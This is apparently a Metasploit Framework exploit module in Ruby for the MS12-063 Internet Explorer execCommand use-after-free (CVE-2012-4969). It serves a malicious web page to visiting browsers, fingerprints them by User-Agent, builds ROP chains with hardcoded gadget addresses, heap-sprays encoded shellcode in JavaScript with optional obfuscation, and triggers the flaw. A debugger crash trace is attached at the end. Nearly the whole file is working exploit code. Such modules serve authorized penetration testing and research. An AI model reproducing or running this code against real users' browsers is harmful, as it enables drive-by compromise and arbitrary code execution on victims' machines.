394 lines
11 KiB
Ruby
394 lines
11 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::RopDb
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "7.0",
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:ua_maxver => "9.0",
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:javascript => true,
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:rank => GoodRanking
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})
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def initialize(info={})
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super(update_info(info,
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'Name' => "MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability ",
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'Description' => %q{
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This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When
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rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner,
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but the same memory is reused again later in the CMshtmlEd::Exec() function, leading
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to a use-after-free condition.
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Please note that this vulnerability has been exploited in the wild since Sep 14 2012.
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Also note that presently, this module has some target dependencies for the ROP chain to be
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valid. For WinXP SP3 with IE8, msvcrt must be present (as it is by default).
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For Vista or Win7 with IE8, or Win7 with IE9, JRE 1.6.x or below must be installed (which
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is often the case).
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'unknown', # via ZDI
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'eromang', # First public discovery
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'binjo',
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'sinn3r', # Metasploit
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'juan vazquez' # Metasploit
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],
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'References' =>
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[
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[ 'CVE', '2012-4969' ],
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[ 'OSVDB', '85532' ],
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[ 'MSB', 'MS12-063' ],
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[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2757760' ],
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[ 'URL', 'http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/' ],
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[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-0day/'],
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[ 'URL', 'http://metasploit.com' ]
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],
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'Payload' =>
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{
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "none",
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ],
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[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Random' => false } ],
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[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ],
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[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ],
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[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ],
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[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fc', 'Random' => true } ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Sep 14 2012", # When it was spotted in the wild by eromang
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
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ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
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ie_name = "IE #{ie}"
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case nt
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when '5.1'
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os_name = 'Windows XP SP3'
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when '6.0'
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os_name = 'Windows Vista'
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when '6.1'
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os_name = 'Windows 7'
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end
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targets.each do |t|
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if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
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vprint_status("Target selected as: #{t.name}")
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return t
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end
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end
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return nil
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("V")[0].to_i
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end
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def nop
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return make_nops(4).unpack("V")[0].to_i
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end
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def get_payload(t, cli)
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code = payload.encoded
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# No rop. Just return the payload.
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return code if t['Rop'].nil?
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# Both ROP chains generated by mona.py - See corelan.be
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case t['Rop']
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when :msvcrt
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print_status("Using msvcrt ROP")
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exec_size = code.length
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stack_pivot = [
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0x77c4e393, # RETN
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0x77c4e392, # POP EAX # RETN
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0x77c15ed5, # XCHG EAX, ESP # RETN
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].pack("V*")
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rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
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else
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print_status("Using JRE ROP")
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exec_size = 0xffffffff - code.length + 1
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if t['Random']
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stack_pivot = [
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0x0c0c0c0c, # 0c0c0c08
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0x7c347f98, # RETN
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0x7c347f97, # POP EDX # RETN
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0x7c348b05 # XCHG EAX, ESP # RET
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].pack("V*")
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else
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stack_pivot = [
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0x7c347f98, # RETN
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0x7c347f97, # POP EDX # RETN
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0x7c348b05 # XCHG EAX, ESP # RET
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].pack("V*")
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end
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rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
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end
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return rop_payload
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end
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# Spray published by corelanc0d3r
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# Exploit writing tutorial part 11 : Heap Spraying Demystified
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# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
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def get_random_spray(t, js_code, js_nops)
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spray = <<-JS
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function randomblock(blocksize)
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{
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var theblock = "";
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for (var i = 0; i < blocksize; i++)
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{
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theblock += Math.floor(Math.random()*90)+10;
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}
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return theblock;
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}
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function tounescape(block)
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{
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var blocklen = block.length;
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var unescapestr = "";
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for (var i = 0; i < blocklen-1; i=i+4)
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{
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unescapestr += "%u" + block.substring(i,i+4);
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}
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return unescapestr;
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}
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var heap_obj = new heapLib.ie(0x10000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset_length = #{t['Offset']};
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for (var i=0; i < 0x1000; i++) {
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var padding = unescape(tounescape(randomblock(0x1000)));
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while (padding.length < 0x1000) padding+= padding;
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var junk_offset = padding.substring(0, offset_length);
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var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
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while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
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sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
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heap_obj.alloc(sprayblock);
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}
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JS
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return spray
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end
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def get_spray(t, js_code, js_nops)
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js = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{t['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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var overflow = nops.substring(0, 10);
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JS
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end
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def load_html1(cli, my_target)
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p = get_payload(my_target, cli)
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
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js_r_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
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if my_target['Random']
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js = get_random_spray(my_target, js_code, js_r_nops)
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else
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js = get_spray(my_target, js_code, js_nops)
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end
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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html = %Q|
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<html>
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<body>
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<script>
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var arrr = new Array();
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arrr[0] = window.document.createElement("img");
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arrr[0]["src"] = "#{Rex::Text.rand_text_alpha(1)}";
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</script>
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<iframe src="#{this_resource}/#{@html2_name}"></iframe>
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<script>
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#{js}
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</script>
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</body>
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</html>
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return html
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end
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def load_html2
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html = %Q|
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<HTML>
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<script>
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function funcB() {
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document.execCommand("selectAll");
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};
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function funcA() {
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document.write("#{Rex::Text.rand_text_alpha(1)}");
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parent.arrr[0].src = "YMjf\\u0c08\\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
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}
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</script>
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<body onload='funcB();' onselect='funcA()'>
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<div contenteditable='true'>
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a
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</div>
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</body>
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</HTML>
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return html
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end
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def this_resource
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r = get_resource
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return ( r == '/') ? '' : r
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end
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def on_request_uri(cli, request)
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uri = request.uri
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agent = request.headers['User-Agent']
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my_target = get_target(agent)
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vprint_status("Requesting: #{uri}")
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print_status(agent)
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# Avoid the attack if the victim doesn't have the same setup we're targeting
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if my_target.nil?
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print_error("Browser not supported, sending a 404: #{agent.to_s}")
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send_not_found(cli)
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return
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end
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if uri =~ /#{@html2_name}/
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print_status("Loading #{@html2_name}")
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html = load_html2
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elsif uri =~ /#{@html1_name}/
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print_status("Loading #{@html1_name}")
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html = load_html1(cli, my_target)
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elsif uri =~ /\/$/ or (!this_resource.empty? and uri =~ /#{this_resource}$/)
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print_status("Redirecting to #{@html1_name}")
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send_redirect(cli, "#{this_resource}/#{@html1_name}")
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return
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else
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send_not_found(cli)
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return
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end
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html = html.gsub(/^\t\t/, '')
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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def exploit
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@html1_name = "#{Rex::Text.rand_text_alpha(5)}.html"
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@html2_name = "#{Rex::Text.rand_text_alpha(6)}.html"
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super
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end
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end
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=begin
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0:008> r
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eax=00000000 ebx=0000001f ecx=002376c8 edx=0000000d esi=00000000 edi=0c0c0c08
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eip=637d464e esp=020bbe80 ebp=020bbe8c iopl=0 nv up ei pl nz na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
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mshtml!CMshtmlEd::Exec+0x134:
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637d464e 8b07 mov eax,dword ptr [edi] ds:0023:0c0c0c08=????????
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0:008> u
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mshtml!CMshtmlEd::Exec+0x134:
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637d464e 8b07 mov eax,dword ptr [edi]
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637d4650 57 push edi
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637d4651 ff5008 call dword ptr [eax+8]
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0:008> k
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ChildEBP RetAddr
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020bbe8c 637d4387 mshtml!CMshtmlEd::Exec+0x134
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020bbebc 637be2fc mshtml!CEditRouter::ExecEditCommand+0xd6
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020bc278 638afda7 mshtml!CDoc::ExecHelper+0x3c91
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020bc298 638ee2a9 mshtml!CDocument::Exec+0x24
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020bc2c0 638b167b mshtml!CBase::execCommand+0x50
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020bc2f8 638e7445 mshtml!CDocument::execCommand+0x93
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020bc370 636430c9 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x149
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020bc3e4 63643595 mshtml!CBase::ContextInvokeEx+0x5d1
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020bc410 63643832 mshtml!CBase::InvokeEx+0x25
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020bc460 635e1cdc mshtml!DispatchInvokeCollection+0x14b
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020bc4a8 63642f30 mshtml!CDocument::InvokeEx+0xf1
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020bc4d0 63642eec mshtml!CBase::VersionedInvokeEx+0x20
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020bc520 633a6d37 mshtml!PlainInvokeEx+0xea
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020bc560 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
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020bc59c 633a9cfe jscript!IDispatchExInvokeEx+0x6a
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020bc65c 633a9f3c jscript!InvokeDispatchEx+0x98
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020bc690 633a77ff jscript!VAR::InvokeByName+0x135
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020bc6dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
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020bc708 633a9c0b jscript!VAR::InvokeByDispID+0xce
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020bc8a4 633a5ab0 jscript!CScriptRuntime::Run+0x2989
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=end
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